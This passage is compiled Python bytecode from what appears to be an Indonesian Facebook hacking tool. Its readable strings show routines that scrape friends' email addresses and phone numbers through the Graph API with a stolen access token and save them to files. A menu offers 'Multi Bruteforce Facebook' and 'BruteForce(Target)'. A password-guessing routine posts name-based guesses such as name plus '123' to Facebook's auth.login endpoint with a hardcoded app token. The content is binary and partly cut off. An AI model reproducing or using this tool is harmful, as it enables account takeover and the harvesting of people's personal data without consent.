\x1b[1;97ms\x1b\x00\x00\x00https://graph.facebook.com/s\x0e\x00\x00\x00?access_token=s7\x00\x00\x00\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m R0\x00\x00\x00s\x1b\x00\x00\x00\x1b[1;91m[!] Friend not founds\x1e\x00\x00\x00\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]s\x16\x00\x00\x00/friends?access_token=s?\x00\x00\x00\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mGet all friend email from friend \x1b[1;97m...i*\x00\x00\x00s\n\x00\x00\x00\x1b[1;97m\xe2\x95\x90s\x1b\x00\x00\x00out/em_teman_from_teman.txtR\x11\x00\x00\x00Rl\x00\x00\x00Rj\x00\x00\x00R?\x00\x00\x00s\x01\x00\x00\x00\ns\x11\x00\x00\x00\r\x1b[1;97m[ \x1b[1;92ms\x1a\x00\x00\x00\x1b[1;97m ]\x1b[1;97m=> \x1b[1;97ms\x03\x00\x00\x00 | g-C\x1c\xeb\xe26\x1a?sE\x00\x00\x00\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mSuccessfully get email \x1b[1;97m....s1\x00\x00\x00\r\x1b[1;91m[+] \x1b[1;92mTotal Email \x1b[1;91m: \x1b[1;97m%ss7\x00\x00\x00\r\x1b[1;91m[+] \x1b[1;92mSave file with name\x1b[1;91m :\x1b[1;97m s\x04\x00\x00\x00out/s2\x00\x00\x00\r\x1b[1;91m[+] \x1b[1;92mFile saved \x1b[1;91m: \x1b[1;97mout/s\x1e\x00\x00\x00\x1b[1;91m[!] Error creating files\x12\x00\x00\x00\x1b[1;91m[!] Stoppeds\x10\x00\x00\x00\x1b[1;91m[!] Errors\x1a\x00\x00\x00\x1b[1;91m[\xe2\x9c\x96] No connection(#\x00\x00\x00R\x05\x00\x00\x00R(\x00\x00\x00R)\x00\x00\x00R*\x00\x00\x00R-\x00\x00\x00R\x1c\x00\x00\x00R\x1d\x00\x00\x00R2\x00\x00\x00R\x91\x00\x00\x00R\x92\x00\x00\x00R.\x00\x00\x00R/\x00\x00\x00Rb\x00\x00\x00Rc\x00\x00\x00Rd\x00\x00\x00Re\x00\x00\x00Rf\x00\x00\x00R,\x00\x00\x00R\x80\x00\x00\x00R \x00\x00\x00t\x0b\x00\x00\x00emfromtemanR\x94\x00\x00\x00R\x19\x00\x00\x00R\x17\x00\x00\x00R\x0e\x00\x00\x00R\x06\x00\x00\x00R\x18\x00\x00\x00R\x1b\x00\x00\x00Rg\x00\x00\x00R\x95\x00\x00\x00R\x96\x00\x00\x00R\x97\x00\x00\x00Ri\x00\x00\x00R\x01\x00\x00\x00R\x08\x00\x00\x00(\x0b\x00\x00\x00R4\x00\x00\x00R\x9c\x00\x00\x00R\x9d\x00\x00\x00R\x9e\x00\x00\x00R\'\x00\x00\x00Rm\x00\x00\x00R\x98\x00\x00\x00R\x13\x00\x00\x00R\x10\x00\x00\x00R\x1e\x00\x00\x00R\x99\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x03\x00\x00\x00<s>R\x8c\x00\x00\x00\xff\x02\x00\x00s\x80\x00\x00\x00\x00\x01\r\x01\x03\x01\x19\x01\r\x01\x05\x01\r\x01\r\x01\x0b\x01\x03\x01\x11\x01\r\x01\x04\x01\x03\x01\r\x01\x05\x01\x0c\x01\x03\x01\x1b\x01\x12\x01\x11\x01\r\x01\x05\x01\n\x01\x0b\x01\x1b\x01\x12\x01\n\x01\t\x01\x0f\x01\x11\x01\x1f\x01\x12\x01\x03\x01\x11\x01\x15\x010\x00\r\x00\x11\x01\r\x01\x08\x01\n\x01\t\x01\x05\x01\x0f\x01\x0c\x01\x14\x01\t\x01\n\x01\x0b\x01\r\x01\x05\x01\n\x01\n\x01\x13\x01\x05\x01\n\x01\n\x01\r\x01\x05\x01\n\x01\n\x01\x13\x01\x05\x01c\x00\x00\x00\x00\x08\x00\x00\x00\x06\x00\x00\x00C\x00\x00\x00s\xb9\x02\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01y\x19\x00t\x02\x00d\x02\x00d\x03\x00\x83\x02\x00j\x03\x00\x83\x00\x00}\x00\x00Wn7\x00\x04t\x04\x00k\n\x00r_\x00\x01\x01\x01d\x04\x00GHt\x00\x00j\x01\x00d\x05\x00\x83\x01\x00\x01t\x05\x00j\x06\x00d\x06\x00\x83\x01\x00\x01t\x07\x00\x83\x00\x00\x01n\x01\x00Xy\x11\x00t\x00\x00j\x08\x00d\x07\x00\x83\x01\x00\x01Wn\x11\x00\x04t\t\x00k\n\x00r\x84\x00\x01\x01\x01n\x01\x00Xy\x92\x01t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\n\x00GHt\x0b\x00d\x08\x00\x83\x01\x00\x01d\t\x00d\n\x00\x14GHd\x0b\x00|\x00\x00\x17}\x01\x00t\x0c\x00j\r\x00|\x01\x00\x83\x01\x00}\x02\x00t\x0e\x00j\x0f\x00|\x02\x00j\x10\x00\x83\x01\x00}\x03\x00t\x02\x00d\x0c\x00d\r\x00\x83\x02\x00}\x04\x00x\xcb\x00|\x03\x00d\x0e\x00\x19D]\xbf\x00}\x05\x00t\x0c\x00j\r\x00d\x0f\x00|\x05\x00d\x10\x00\x19\x17d\x11\x00\x17|\x00\x00\x17\x83\x01\x00}\x06\x00t\x0e\x00j\x0f\x00|\x06\x00j\x10\x00\x83\x01\x00}\x03\x00yt\x00t\x11\x00j\x12\x00|\x03\x00d\x12\x00\x19\x83\x01\x00\x01|\x04\x00j\x13\x00|\x03\x00d\x12\x00\x19d\x13\x00\x17\x83\x01\x00\x01d\x14\x00t\x14\x00t\x15\x00t\x11\x00\x83\x01\x00\x83\x01\x00\x17d\x15\x00\x17|\x03\x00d\x12\x00\x19\x17d\x16\x00\x17|\x03\x00d\x17\x00\x19\x17d\x13\x00\x17Gt\x16\x00j\x17\x00j\x18\x00\x83\x00\x00\x01t\x05\x00j\x06\x00d\x18\x00\x83\x01\x00\x01Wq\xf2\x00\x04t\x19\x00k\n\x00r\xb0\x01\x01\x01\x01q\xf2\x00Xq\xf2\x00W|\x04\x00j\x1a\x00\x83\x00\x00\x01d\t\x00d\n\x00\x14GHd\x19\x00GHd\x1a\x00t\x15\x00t\x11\x00\x83\x01\x00\x16GHt\x1b\x00d\x1b\x00\x83\x01\x00}\x07\x00t\x00\x00j\x1c\x00d\x0c\x00d\x1c\x00|\x07\x00\x17\x83\x02\x00\x01d\x1d\x00|\x07\x00\x17GHt\x1b\x00d\x1e\x00\x83\x01\x00\x01t\x1d\x00\x83\x00\x00\x01Wn\x9b\x00\x04t\x04\x00k\n\x00r@\x02\x01\x01\x01d\x1f\x00GHt\x1b\x00d\x1e\x00\x83\x01\x00\x01t\x1d\x00\x83\x00\x00\x01nu\x00\x04t\x1e\x00t\x1f\x00f\x02\x00k\n\x00rl\x02\x01\x01\x01d \x00GHt\x1b\x00d\x1e\x00\x83\x01\x00\x01t\x1d\x00\x83\x00\x00\x01nI\x00\x04t\x19\x00k\n\x00r\x92\x02\x01\x01\x01d!\x00GHt\x1b\x00d\x1e\x00\x83\x01\x00\x01t\x1d\x00\x83\x00\x00\x01n#\x00\x04t\x0c\x00j \x00j!\x00k\n\x00r\xb4\x02\x01\x01\x01d"\x00GHt"\x00\x83\x00\x00\x01n\x01\x00Xd\x00\x00S(#\x00\x00\x00NR&\x00\x00\x00s\t\x00\x00\x00login.txtR\'\x00\x00\x00s\x1a\x00\x00\x00\x1b[1;91m[!] Token not founds\x10\x00\x00\x00rm -rf login.txti\x01\x00\x00\x00R\x90\x00\x00\x00s:\x00\x00\x00\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mGet all friend number phone \x1b[1;97m...i*\x00\x00\x00s\n\x00\x00\x00\x1b[1;97m\xe2\x95\x90s3\x00\x00\x00https://graph.facebook.com/me/friends?access_token=s\x13\x00\x00\x00out/nomer_teman.txtR\x11\x00\x00\x00Rl\x00\x00\x00s\x1b\x00\x00\x00https://graph.facebook.com/Rj\x00\x00\x00s\x0e\x00\x00\x00?access_token=Rw\x00\x00\x00s\x01\x00\x00\x00\ns\x11\x00\x00\x00\r\x1b[1;97m[ \x1b[1;92ms\x1a\x00\x00\x00\x1b[1;97m ]\x1b[1;97m=> \x1b[1;97ms\x03\x00\x00\x00 | R0\x00\x00\x00g-C\x1c\xeb\xe26\x1a?sF\x00\x00\x00\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mSuccessfully get number \x1b[1;97m....s2\x00\x00\x00\r\x1b[1;91m[+] \x1b[1;92mTotal Number \x1b[1;91m: \x1b[1;97m%ss7\x00\x00\x00\r\x1b[1;91m[+] \x1b[1;92mSave file with name\x1b[1;91m :\x1b[1;97m s\x04\x00\x00\x00out/s2\x00\x00\x00\r\x1b[1;91m[+] \x1b[1;92mFile saved \x1b[1;91m: \x1b[1;97mout/s\x1e\x00\x00\x00\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]s\x1e\x00\x00\x00\x1b[1;91m[!] Error creating files\x12\x00\x00\x00\x1b[1;91m[!] Stoppeds\x10\x00\x00\x00\x1b[1;91m[!] Errors\x1a\x00\x00\x00\x1b[1;91m[\xe2\x9c\x96] No connection(#\x00\x00\x00R\x05\x00\x00\x00R(\x00\x00\x00R)\x00\x00\x00R*\x00\x00\x00R-\x00\x00\x00R\x1c\x00\x00\x00R\x1d\x00\x00\x00R2\x00\x00\x00R\x91\x00\x00\x00R\x92\x00\x00\x00R.\x00\x00\x00R \x00\x00\x00Rb\x00\x00\x00Rc\x00\x00\x00Rd\x00\x00\x00Re\x00\x00\x00Rf\x00\x00\x00t\x02\x00\x00\x00hpR\x94\x00\x00\x00R\x19\x00\x00\x00R\x17\x00\x00\x00R\x0e\x00\x00\x00R\x06\x00\x00\x00R\x18\x00\x00\x00R\x1b\x00\x00\x00R,\x00\x00\x00Rg\x00\x00\x00R/\x00\x00\x00R\x95\x00\x00\x00R\x80\x00\x00\x00R\x96\x00\x00\x00R\x97\x00\x00\x00Ri\x00\x00\x00R\x01\x00\x00\x00R\x08\x00\x00\x00(\x08\x00\x00\x00R4\x00\x00\x00Rk\x00\x00\x00R\'\x00\x00\x00R\x1e\x00\x00\x00R\x98\x00\x00\x00t\x01\x00\x00\x00nR\x10\x00\x00\x00R\x99\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x03\x00\x00\x00<s>R\x8d\x00\x00\x00@\x03\x00\x00sp\x00\x00\x00\x00\x01\r\x01\x03\x01\x19\x01\r\x01\x05\x01\r\x01\r\x01\x0b\x01\x03\x01\x11\x01\r\x01\x04\x01\x03\x01\r\x01\x05\x01\n\x01\t\x01\n\x01\x0f\x01\x12\x01\x0f\x01\x11\x01\x1f\x01\x12\x01\x03\x01\x11\x01\x15\x010\x00\r\x00\x11\x01\r\x01\x08\x01\n\x01\t\x01\x05\x01\x0f\x01\x0c\x01\x14\x01\t\x01\n\x01\x0b\x01\r\x01\x05\x01\n\x01\n\x01\x13\x01\x05\x01\n\x01\n\x01\r\x01\x05\x01\n\x01\n\x01\x13\x01\x05\x01c\x00\x00\x00\x00\x0b\x00\x00\x00\x06\x00\x00\x00C\x00\x00\x00s/\x03\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01y\x19\x00t\x02\x00d\x02\x00d\x03\x00\x83\x02\x00j\x03\x00\x83\x00\x00}\x00\x00Wn7\x00\x04t\x04\x00k\n\x00r_\x00\x01\x01\x01d\x04\x00GHt\x00\x00j\x01\x00d\x05\x00\x83\x01\x00\x01t\x05\x00j\x06\x00d\x06\x00\x83\x01\x00\x01t\x07\x00\x83\x00\x00\x01n\x01\x00Xy\x11\x00t\x00\x00j\x08\x00d\x07\x00\x83\x01\x00\x01Wn\x11\x00\x04t\t\x00k\n\x00r\x84\x00\x01\x01\x01n\x01\x00Xy\x08\x02t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\n\x00GHt\x0b\x00d\x08\x00\x83\x01\x00}\x01\x00y>\x00t\x0c\x00j\r\x00d\t\x00|\x01\x00\x17d\n\x00\x17|\x00\x00\x17\x83\x01\x00}\x02\x00t\x0e\x00j\x0f\x00|\x02\x00j\x10\x00\x83\x01\x00}\x03\x00d\x0b\x00|\x03\x00d\x0c\x00\x19\x17GHWn\'\x00\x04t\x11\x00k\n\x00r\r\x01\x01\x01\x01d\r\x00GHt\x0b\x00d\x0e\x00\x83\x01\x00\x01t\x12\x00\x83\x00\x00\x01n\x01\x00Xt\x0c\x00j\r\x00d\t\x00|\x01\x00\x17d\x0f\x00\x17|\x00\x00\x17\x83\x01\x00}\x04\x00t\x0e\x00j\x0f\x00|\x04\x00j\x10\x00\x83\x01\x00}\x05\x00t\x13\x00d\x10\x00\x83\x01\x00\x01d\x11\x00d\x12\x00\x14GHt\x02\x00d\x13\x00d\x14\x00\x83\x02\x00}\x06\x00x\xcb\x00|\x05\x00d\x15\x00\x19D]\xbf\x00}\x07\x00t\x0c\x00j\r\x00d\t\x00|\x07\x00d\x16\x00\x19\x17d\n\x00\x17|\x00\x00\x17\x83\x01\x00}\x08\x00t\x0e\x00j\x0f\x00|\x08\x00j\x10\x00\x83\x01\x00}\t\x00yt\x00t\x14\x00j\x15\x00|\t\x00d\x17\x00\x19\x83\x01\x00\x01|\x06\x00j\x16\x00|\t\x00d\x17\x00\x19d\x18\x00\x17\x83\x01\x00\x01d\x19\x00t\x17\x00t\x18\x00t\x14\x00\x83\x01\x00\x83\x01\x00\x17d\x1a\x00\x17|\t\x00d\x17\x00\x19\x17d\x1b\x00\x17|\t\x00d\x0c\x00\x19\x17d\x18\x00\x17Gt\x19\x00j\x1a\x00j\x1b\x00\x83\x00\x00\x01t\x05\x00j\x06\x00d\x1c\x00\x83\x01\x00\x01Wqh\x01\x04t\x11\x00k\n\x00r&\x02\x01\x01\x01qh\x01Xqh\x01W|\x06\x00j\x1c\x00\x83\x00\x00\x01d\x11\x00d\x12\x00\x14GHd\x1d\x00GHd\x1e\x00t\x18\x00t\x14\x00\x83\x01\x00\x16GHt\x0b\x00d\x1f\x00\x83\x01\x00}\n\x00t\x00\x00j\x1d\x00d\x13\x00d \x00|\n\x00\x17\x83\x02\x00\x01d!\x00|\n\x00\x17GHt\x0b\x00d\x0e\x00\x83\x01\x00\x01t\x12\x00\x83\x00\x00\x01Wn\x9b\x00\x04t\x04\x00k\n\x00r\xb6\x02\x01\x01\x01d"\x00GHt\x0b\x00d\x0e\x00\x83\x01\x00\x01t\x12\x00\x83\x00\x00\x01nu\x00\x04t\x1e\x00t\x1f\x00f\x02\x00k\n\x00r\xe2\x02\x01\x01\x01d#\x00GHt\x0b\x00d\x0e\x00\x83\x01\x00\x01t\x12\x00\x83\x00\x00\x01nI\x00\x04t\x11\x00k\n\x00r\x08\x03\x01\x01\x01d$\x00GHt\x0b\x00d\x0e\x00\x83\x01\x00\x01t\x12\x00\x83\x00\x00\x01n#\x00\x04t\x0c\x00j \x00j!\x00k\n\x00r*\x03\x01\x01\x01d%\x00GHt"\x00\x83\x00\x00\x01n\x01\x00Xd\x00\x00S(&\x00\x00\x00NR&\x00\x00\x00s\t\x00\x00\x00login.txtR\'\x00\x00\x00s\x1a\x00\x00\x00\x1b[1;91m[!] Token not founds\x10\x00\x00\x00rm -rf login.txti\x01\x00\x00\x00R\x90\x00\x00\x00s2\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mInput ID friend \x1b[1;91m: \x1b[1;97ms\x1b\x00\x00\x00https://graph.facebook.com/s\x0e\x00\x00\x00?access_token=s7\x00\x00\x00\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m R0\x00\x00\x00s\x1b\x00\x00\x00\x1b[1;91m[!] Friend not founds\x1e\x00\x00\x00\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]s\x16\x00\x00\x00/friends?access_token=s@\x00\x00\x00\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mGet all friend number from friend \x1b[1;97m...i*\x00\x00\x00s\n\x00\x00\x00\x1b[1;97m\xe2\x95\x90s\x1b\x00\x00\x00out/no_teman_from_teman.txtR\x11\x00\x00\x00Rl\x00\x00\x00Rj\x00\x00\x00Rw\x00\x00\x00s\x01\x00\x00\x00\ns\x11\x00\x00\x00\r\x1b[1;97m[ \x1b[1;92ms\x1a\x00\x00\x00\x1b[1;97m ]\x1b[1;97m=> \x1b[1;97ms\x03\x00\x00\x00 | g-C\x1c\xeb\xe26\x1a?sF\x00\x00\x00\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mSuccessfully get number \x1b[1;97m....s2\x00\x00\x00\r\x1b[1;91m[+] \x1b[1;92mTotal Number \x1b[1;91m: \x1b[1;97m%ss7\x00\x00\x00\r\x1b[1;91m[+] \x1b[1;92mSave file with name\x1b[1;91m :\x1b[1;97m s\x04\x00\x00\x00out/s2\x00\x00\x00\r\x1b[1;91m[+] \x1b[1;92mFile saved \x1b[1;91m: \x1b[1;97mout/s\x1e\x00\x00\x00\x1b[1;91m[!] Error creating files\x12\x00\x00\x00\x1b[1;91m[!] Stoppeds\x10\x00\x00\x00\x1b[1;91m[!] Errors\x1a\x00\x00\x00\x1b[1;91m[\xe2\x9c\x96] No connection(#\x00\x00\x00R\x05\x00\x00\x00R(\x00\x00\x00R)\x00\x00\x00R*\x00\x00\x00R-\x00\x00\x00R\x1c\x00\x00\x00R\x1d\x00\x00\x00R2\x00\x00\x00R\x91\x00\x00\x00R\x92\x00\x00\x00R.\x00\x00\x00R/\x00\x00\x00Rb\x00\x00\x00Rc\x00\x00\x00Rd\x00\x00\x00Re\x00\x00\x00Rf\x00\x00\x00R,\x00\x00\x00R\x80\x00\x00\x00R \x00\x00\x00t\x0b\x00\x00\x00hpfromtemanR\x94\x00\x00\x00R\x19\x00\x00\x00R\x17\x00\x00\x00R\x0e\x00\x00\x00R\x06\x00\x00\x00R\x18\x00\x00\x00R\x1b\x00\x00\x00Rg\x00\x00\x00R\x95\x00\x00\x00R\x96\x00\x00\x00R\x97\x00\x00\x00Ri\x00\x00\x00R\x01\x00\x00\x00R\x08\x00\x00\x00(\x0b\x00\x00\x00R4\x00\x00\x00R\x9c\x00\x00\x00R\x9d\x00\x00\x00R\x9e\x00\x00\x00R\'\x00\x00\x00Rm\x00\x00\x00R\x98\x00\x00\x00R\x13\x00\x00\x00R\x10\x00\x00\x00R\x1e\x00\x00\x00R\x99\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x03\x00\x00\x00<s>R\x8e\x00\x00\x00y\x03\x00\x00s\x80\x00\x00\x00\x00\x01\r\x01\x03\x01\x19\x01\r\x01\x05\x01\r\x01\r\x01\x0b\x01\x03\x01\x11\x01\r\x01\x04\x01\x03\x01\r\x01\x05\x01\x0c\x01\x03\x01\x1b\x01\x12\x01\x11\x01\r\x01\x05\x01\n\x01\x0b\x01\x1b\x01\x12\x01\n\x01\t\x01\x0f\x01\x11\x01\x1f\x01\x12\x01\x03\x01\x11\x01\x15\x010\x00\r\x00\x11\x01\r\x01\x08\x01\n\x01\t\x01\x05\x01\x0f\x01\x0c\x01\x14\x01\t\x01\n\x01\x0b\x01\r\x01\x05\x01\n\x01\n\x01\x13\x01\x05\x01\n\x01\n\x01\r\x01\x05\x01\n\x01\n\x01\x13\x01\x05\x01c\x00\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00C\x00\x00\x00s\xa0\x00\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01y\x19\x00t\x02\x00d\x02\x00d\x03\x00\x83\x02\x00j\x03\x00\x83\x00\x00}\x00\x00Wn7\x00\x04t\x04\x00k\n\x00r_\x00\x01\x01\x01d\x04\x00GHt\x00\x00j\x01\x00d\x05\x00\x83\x01\x00\x01t\x05\x00j\x06\x00d\x06\x00\x83\x01\x00\x01t\x07\x00\x83\x00\x00\x01n\x01\x00Xt\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\x08\x00GHd\x07\x00GHd\x08\x00GHd\t\x00GHd\n\x00GHd\x0b\x00GHd\x0c\x00GHd\r\x00GHt\t\x00\x83\x00\x00\x01d\x00\x00S(\x0e\x00\x00\x00NR&\x00\x00\x00s\t\x00\x00\x00login.txtR\'\x00\x00\x00s\x1a\x00\x00\x00\x1b[1;91m[!] Token not founds\x10\x00\x00\x00rm -rf login.txti\x01\x00\x00\x00sN\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m1.\x1b[1;97m Mini Hack Facebook(\x1b[1;92mTarget\x1b[1;97m)s?\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m2.\x1b[1;97m Multi Bruteforce FacebooksE\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m3.\x1b[1;97m Super Multi Bruteforce FacebooksF\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m4.\x1b[1;97m BruteForce(\x1b[1;92mTarget\x1b[1;97m)s3\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m5.\x1b[1;97m Yahoo Checkers*\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;91m0.\x1b[1;97m Backs\x03\x00\x00\x00\xe2\x95\x91(\n\x00\x00\x00R\x05\x00\x00\x00R(\x00\x00\x00R)\x00\x00\x00R*\x00\x00\x00R-\x00\x00\x00R\x1c\x00\x00\x00R\x1d\x00\x00\x00R2\x00\x00\x00R.\x00\x00\x00t\n\x00\x00\x00hack_pilih(\x01\x00\x00\x00R4\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x03\x00\x00\x00<s>Rv\x00\x00\x00\xba\x03\x00\x00s$\x00\x00\x00\x00\x01\r\x01\x03\x01\x19\x01\r\x01\x05\x01\r\x01\r\x01\x0b\x01\r\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01c\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00s\xc2\x00\x00\x00t\x00\x00d\x01\x00\x83\x01\x00}\x00\x00|\x00\x00d\x02\x00k\x02\x00r\'\x00d\x03\x00GHt\x01\x00\x83\x00\x00\x01n\x97\x00|\x00\x00d\x04\x00k\x02\x00r=\x00t\x02\x00\x83\x00\x00\x01n\x81\x00|\x00\x00d\x05\x00k\x02\x00rZ\x00t\x03\x00\x83\x00\x00\x01t\x04\x00\x83\x00\x00\x01nd\x00|\x00\x00d\x06\x00k\x02\x00rp\x00t\x05\x00\x83\x00\x00\x01nN\x00|\x00\x00d\x07\x00k\x02\x00r\x86\x00t\x06\x00\x83\x00\x00\x01n8\x00|\x00\x00d\x08\x00k\x02\x00r\x9c\x00t\x07\x00\x83\x00\x00\x01n"\x00|\x00\x00d\t\x00k\x02\x00r\xb2\x00t\x08\x00\x83\x00\x00\x01n\x0c\x00d\x03\x00GHt\x01\x00\x83\x00\x00\x01d\x00\x00S(\n\x00\x00\x00Ns\x1d\x00\x00\x00\x1b[1;97m\xe2\x95\x9a\xe2\x95\x90\x1b[1;91mD \x1b[1;97mR\n\x00\x00\x00s\x16\x00\x00\x00\x1b[1;91m[!] Wrong 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\x00GHd\x1a\x00|\x03\x00d\x0f\x00\x19\x17GHd\x1b\x00|\x01\x00\x17GHd\x1c\x00|\x0e\x00\x17GHt\t\x00d\x1d\x00\x83\x01\x00\x01t\x13\x00\x83\x00\x00\x01n\x1b\x00d)\x00GHd*\x00GHt\t\x00d\x1d\x00\x83\x01\x00\x01t\x13\x00\x83\x00\x00\x01Wn\'\x00\x04t\x15\x00k\n\x00r\x00\x07\x01\x01\x01d+\x00GHt\t\x00d\x1d\x00\x83\x01\x00\x01t\x13\x00\x83\x00\x00\x01n\x01\x00Xd\x00\x00S(,\x00\x00\x00NR&\x00\x00\x00s\t\x00\x00\x00login.txtR\'\x00\x00\x00s\x1a\x00\x00\x00\x1b[1;91m[!] Token not founds\x10\x00\x00\x00rm -rf login.txti\x01\x00\x00\x00se\x00\x00\x00\x1b[1;97m[\x1b[1;91mINFO\x1b[1;97m] \x1b[1;91mThe target account must be friends\n with your account first!i*\x00\x00\x00s\n\x00\x00\x00\x1b[1;97m\xe2\x95\x90s,\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mTarget ID \x1b[1;91m:\x1b[1;97m s,\x00\x00\x00\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...s\x1b\x00\x00\x00https://graph.facebook.com/s\x0e\x00\x00\x00?access_token=s"\x00\x00\x00\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mName\x1b[1;97m : R0\x00\x00\x00s"\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mCheck \x1b[1;97m...i\x02\x00\x00\x00s*\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mOpen password \x1b[1;97m...t\n\x00\x00\x00first_namet\x05\x00\x00\x0012345s\x91\x00\x00\x00https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=s\x17\x00\x00\x00&locale=en_US&password=sH\x00\x00\x00&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6RQ\x00\x00\x00s\x17\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mFounds4\x00\x00\x00\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : s&\x00\x00\x00\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : s&\x00\x00\x00\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : s\x1e\x00\x00\x00\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]s\x10\x00\x00\x00www.facebook.comt\t\x00\x00\x00error_msgs$\x00\x00\x00\x1b[1;91m[!] \x1b[1;93mAccount Checkpointt\x06\x00\x00\x00sayangt\t\x00\x00\x00last_namet\x03\x00\x00\x00123Ry\x00\x00\x00t\x01\x00\x00\x00/R\n\x00\x00\x00t\t\x00\x00\x00kontol123t\t\x00\x00\x00sayang123s7\x00\x00\x00\x1b[1;91m[!] Sorry, failed to open the target password :(s\x1e\x00\x00\x00\x1b[1;91m[!] try it another way.s\x1b\x00\x00\x00\x1b[1;91m[!] Terget not found(\x16\x00\x00\x00R\x05\x00\x00\x00R(\x00\x00\x00R)\x00\x00\x00R*\x00\x00\x00R-\x00\x00\x00R\x1c\x00\x00\x00R\x1d\x00\x00\x00R2\x00\x00\x00R.\x00\x00\x00R/\x00\x00\x00R \x00\x00\x00Rb\x00\x00\x00Rc\x00\x00\x00Rd\x00\x00\x00Re\x00\x00\x00Rf\x00\x00\x00t\x06\x00\x00\x00urllibt\x07\x00\x00\x00urlopent\x04\x00\x00\x00loadRv\x00\x00\x00R\x16\x00\x00\x00R,\x00\x00\x00(\x10\x00\x00\x00R4\x00\x00\x00Rj\x00\x00\x00R\'\x00\x00\x00Rm\x00\x00\x00t\x03\x00\x00\x00pz1Rl\x00\x00\x00Ro\x00\x00\x00t\x03\x00\x00\x00pz2t\x03\x00\x00\x00pz3t\x05\x00\x00\x00lahirt\x03\x00\x00\x00pz4t\x06\x00\x00\x00lahirst\x03\x00\x00\x00gazt\x03\x00\x00\x00pz5t\x03\x00\x00\x00pz6t\x03\x00\x00\x00pz7(\x00\x00\x00\x00(\x00\x00\x00\x00s\x03\x00\x00\x00<s>R\xab\x00\x00\x00\xe5\x03\x00\x00s@\x01\x00\x00\x00\x01\r\x01\x03\x01\x19\x01\r\x01\x05\x01\r\x01\r\x01\x0b\x01\r\x01\x05\x01\x05\x01\t\x01\x03\x01\x0c\x01\n\x01\x1b\x01\x12\x01\r\x01\n\x01\r\x01\n\x01\r\x01\t\x01\x0e\x01\x1f\x01\x0f\x01\x0c\x01\x05\x01\r\x01\t\x01\t\x01\n\x01\n\x02\x10\x01\x05\x01\x05\x01\r\x01\t\x01\t\x01\n\x01\n\x02\n\x01\x1f\x01\x0f\x01\x0c\x01\x05\x01\r\x01\t\x01\t\x01\n\x01\n\x02\x10\x01\x05\x01\x05\x01\r\x01\t\x01\t\x01\n\x01\n\x02\x0e\x01\x1f\x01\x0f\x01\x0c\x01\x05\x01\r\x01\t\x01\t\x01\n\x01\n\x02\x10\x01\x05\x01\x05\x01\r\x01\t\x01\t\x01\n\x01\n\x02\n\x01\x12\x01\x1f\x01\x0f\x01\x0c\x01\x05\x01\r\x01\t\x01\t\x01\n\x01\n\x02\x10\x01\x05\x01\x05\x01\r\x01\t\x01\t\x01\n\x01\n\x02\n\x01\x12\x01\x0e\x01\x1f\x01\x0f\x01\x0c\x01\x05\x01\r\x01\t\x01\t\x01\n\x01\n\x02\x10\x01\x05\x01\x05\x01\r\x01\t\x01\t\x01\n\x01\n\x02\x06\x01\x1f\x01\x0f\x01\x0c\x01\x05\x01\r\x01\t\x01\t\x01\n\x01\n\x02\x10\x01\x05\x01\x05\x01\r\x01\t\x01\t\x01\n\x01\n\x02\x06\x01\x1f\x01\x0f\x01\x0c\x01\x05\x01\r\x01\t\x01\t\x01\n\x01\n\x02\x10\x01\x05\x01\x05\x01\r\x01\t\x01\t\x01\n\x01\n\x02\x05\x01\x05\x01\n\x01\x0b\x